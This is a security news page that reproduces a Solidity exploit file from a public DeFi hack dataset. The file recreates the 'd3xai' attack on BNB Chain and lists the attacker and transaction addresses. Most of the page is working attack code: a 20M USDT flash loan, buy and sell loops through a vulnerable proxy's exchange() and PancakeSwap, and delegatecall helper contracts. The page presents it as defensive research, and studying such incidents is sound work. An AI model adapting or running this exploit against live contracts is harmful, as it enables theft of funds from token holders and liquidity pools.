Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/d3xai_exp.sol

Public reproduction file for dataset entry d3xai.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/d3xai_exp.sol220 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 190 BNB
8// Attacker : https://bscscan.com/address/0x4b63c0cf524f71847ea05b59f3077a224d922e8d
9// Attack Contract : https://bscscan.com/address/0x3b3e1edeb726b52d5de79cf8dd8b84995d9aa27c
10// Vulnerable Contract : N/A
11// Attack Tx : https://bscscan.com/tx/0x26bcefc152d8cd49f4bb13a9f8a6846be887d7075bc81fa07aa8c0019bd6591f
13// @Info
14// Vulnerable Contract Code : N/A
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/suplabsyi/status/1956695597546893598
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant PANCAKE_V3_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
23address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
24address constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;
25address constant PROXY = 0xb8ad82c4771DAa852DdF00b70Ba4bE57D22eDD99;
26address constant D3XAT = 0x2Cc8B879E3663d8126fe15daDaaA6Ca8D964BbBE;
28contract d3xai is BaseTestWithBalanceLog {
29 uint256 blocknumToForkFrom = 57780985 - 1;
31 uint256 numPancakeOperRound = 27;
32 address[] public pancakeBuyers = new address[](numPancakeOperRound);
33 address[] public pancakeSellers = new address[](numPancakeOperRound);
35 uint256 numProxyOperRound = 2;
36 address[] public proxyBuyers = new address[](numProxyOperRound);
37 ProxySeller proxySeller;
39 function setUp() public {
40 vm.createSelectFork("bsc", blocknumToForkFrom);
41 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
42 fundingToken = USDT_ADDR;
44 ProxyBuyerHelper proxyBuyerHelper = new ProxyBuyerHelper();
45 for (uint256 i = 0; i < proxyBuyers.length; i++) {
46 ProxyBuyer buyer = new ProxyBuyer(address(proxyBuyerHelper));
47 proxyBuyers[i] = address(buyer);
48 }
49 proxySeller = new ProxySeller();
51 PancakeBuyerHelper pancakeBuyerHelper = new PancakeBuyerHelper();
52 for (uint256 i = 0; i < pancakeBuyers.length; i++) {
53 PancakeBuyer buyer = new PancakeBuyer(address(pancakeBuyerHelper));
54 pancakeBuyers[i] = address(buyer);
55 }
56 for (uint256 i = 0; i < pancakeSellers.length; i++) {
57 PancakeSeller seller = new PancakeSeller();
58 pancakeSellers[i] = address(seller);
59 }
60 }
62 function testExploit() public balanceLog {
63 // Root cause: the proxy’s exchange() lets us buy low / sell high
64 // Attacker exploits it using a convoluted multi-step flow
66 // Step 1: flash loan 20M USDT
67 uint256 borrowAmount = 20_000_000 ether;
68 IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowAmount, 0, "");
69 }
71 function pancakeV3FlashCallback(
72 uint256 fee0,
73 uint256 fee1,
74 bytes calldata data
75 ) public {
76 IERC20 usdt = IERC20(USDT_ADDR);
78 // Step 2: spends 24k USDT to buy D3XAT via the exchange()
79 address[] memory USDT_D3XAT_PATH = new address[](2);
80 USDT_D3XAT_PATH[0] = USDT_ADDR;
81 USDT_D3XAT_PATH[1] = D3XAT;
82 uint256 balStart = usdt.balanceOf(address(this));
83 for (uint256 i = 0; i < proxyBuyers.length; i++) {
84 ProxyBuyer buyer = ProxyBuyer(proxyBuyers[i]);
85 uint256 amountOut = 9000 ether;
86 (uint256[] memory amounts) = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsIn(amountOut, USDT_D3XAT_PATH);
87 uint256 amountIn = amounts[0];
89 usdt.approve(address(buyer), amountIn);
90 buyer.buy(PROXY, USDT_ADDR, D3XAT, address(proxySeller), amountIn);
91 }
93 // Step 3: spend ~6.18M USDT to buy D3XAT from Pancake Router
94 for (uint256 i = 0; i < pancakeBuyers.length; i++) {
95 PancakeBuyer buyer = PancakeBuyer(pancakeBuyers[i]);
96 uint256 amountOut = 9900 ether;
97 (uint256[] memory amounts) = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsIn(amountOut, USDT_D3XAT_PATH);
98 uint256 amountIn = amounts[0];
99 usdt.approve(address(buyer), amountIn);
100 buyer.buy(USDT_ADDR, D3XAT, pancakeSellers[i], amountIn);
101 }
103 // Step 4: sell D3XAT from Step 2 via the exchange(). Gain 22.5k USDT
104 for (uint256 i = 0; i < 30; i++) {
105 uint256 amount = 29740606898687781957;
106 try proxySeller.sell(PROXY, D3XAT, USDT_ADDR, amount, address(this)) {
107 } catch {
108 break;
109 }
110 }
112 // Step 5: sell D3XAT from Step 3 to Pancake Router. Gain ~6.11M USDT
113 IERC20 d3xat = IERC20(D3XAT);
114 for (uint256 i = 0; i < pancakeSellers.length; i++) {
115 PancakeSeller seller = PancakeSeller(pancakeSellers[i]);
116 if (d3xat.balanceOf(address(seller)) > 0) {
117 seller.sell(USDT_ADDR, D3XAT, address(this));
118 }
119 }
121 IERC20(USDT_ADDR).transfer(PANCAKE_V3_POOL, 20_000_000 ether + fee0);
122 }
125contract PancakeBuyerHelper {
126 // 0xacfca76f
127 function buy(address token1, address token2, address receiver, uint256 amount) public {
128 IERC20 usdt = IERC20(token1);
129 IERC20 d3xat = IERC20(token2);
130 usdt.transferFrom(msg.sender, address(this), amount);
131 usdt.approve(PANCAKE_ROUTER, amount);
133 address[] memory path = new address[](2);
134 path[0] = token1;
135 path[1] = token2;
137 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
138 uint256 bal = d3xat.balanceOf(address(this));
139 d3xat.transfer(receiver, bal);
140 }
143contract PancakeBuyer {
144 address targetContract;
145 constructor(address target) {
146 targetContract = target;
147 }
148 // 0xacfca76f
149 function buy(address token1, address token2, address receiver, uint256 amount) public {
150 (bool success, bytes memory result) = targetContract.delegatecall(
151 abi.encodeWithSignature("buy(address,address,address,uint256)", token1, token2, receiver, amount)
152 );
153 }
156contract PancakeSeller {
157 // 0x83b95948
158 function sell(address tokenOut, address tokenIn, address receiver) public {
159 IERC20 d3xat = IERC20(tokenIn);
160 IERC20 usdt = IERC20(tokenOut);
161 uint256 d3Bal = d3xat.balanceOf(address(this));
162 d3xat.approve(PANCAKE_ROUTER, d3Bal);
163 address[] memory path = new address[](2);
164 path[0] = tokenIn;
165 path[1] = tokenOut;
166 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(d3Bal, 0, path, address(this), block.timestamp);
167 uint256 bal = usdt.balanceOf(address(this));
168 usdt.transfer(receiver, bal);
169 }
172contract ProxyBuyerHelper {
173 // 0xe09618e9
174 function buy(address proxy, address token1, address token2, address receiver, uint256 amount) public {
175 IERC20 usdt = IERC20(token1);
176 IERC20 d3xat = IERC20(token2);
177 usdt.transferFrom(msg.sender, address(this), amount);
178 usdt.approve(proxy, amount);
180 address[] memory path = new address[](2);
181 path[0] = token1;
182 path[1] = token2;
184 IProxy(proxy).exchange(token1, token2, amount);
185 uint256 bal = d3xat.balanceOf(address(this));
186 d3xat.transfer(receiver, bal);
187 }
190contract ProxyBuyer {
191 address targetContract;
192 constructor(address target) {
193 targetContract = target;
194 }
195 // 0xe09618e9
196 function buy(address proxy, address token1, address token2, address receiver, uint256 amount) public {
197 (bool success, bytes memory result) = targetContract.delegatecall(
198 abi.encodeWithSignature("buy(address,address,address,address,uint256)", proxy, token1, token2, receiver, amount)
199 );
200 }
204contract ProxySeller {
205 // 0x82839fae
206 function sell(address proxy, address fromToken, address toToken, uint256 amount, address receiver) public {
207 IERC20 d3xat = IERC20(fromToken);
208 IERC20 usdt = IERC20(toToken);
209 uint256 d3Bal = d3xat.balanceOf(address(this));
210 d3xat.approve(proxy, amount);
211 IProxy(proxy).exchange(fromToken, toToken, amount);
212 uint256 bal = usdt.balanceOf(address(this));
213 usdt.transfer(receiver, bal);
214 }
218interface IProxy {
219 function exchange(address fromToken, address toToken, uint256 amount) external;

Analysis

Dataset entry

Public Foundry test for “d3xai” (2025-08-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x4b63c0cf524f71847ea05b59f3077a224d922e8d

  • Attack Contract

    0x3b3e1edeb726b52d5de79cf8dd8b84995d9aa27c

  • Attack Tx

    0x26bcefc152d8cd49f4bb13a9f8a6846be887d7075bc81fa07aa8c0019bd6591f

File record

Name
d3xai
Path
src/test/2025-08/d3xai_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
32022d05067026aaaafb4512cd44d357d0a7005f
Language
Solidity
Size
221 lines
Date
2025-08-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/d3xai_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 32022d05067026aaaafb4512cd44d357d0a7005f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.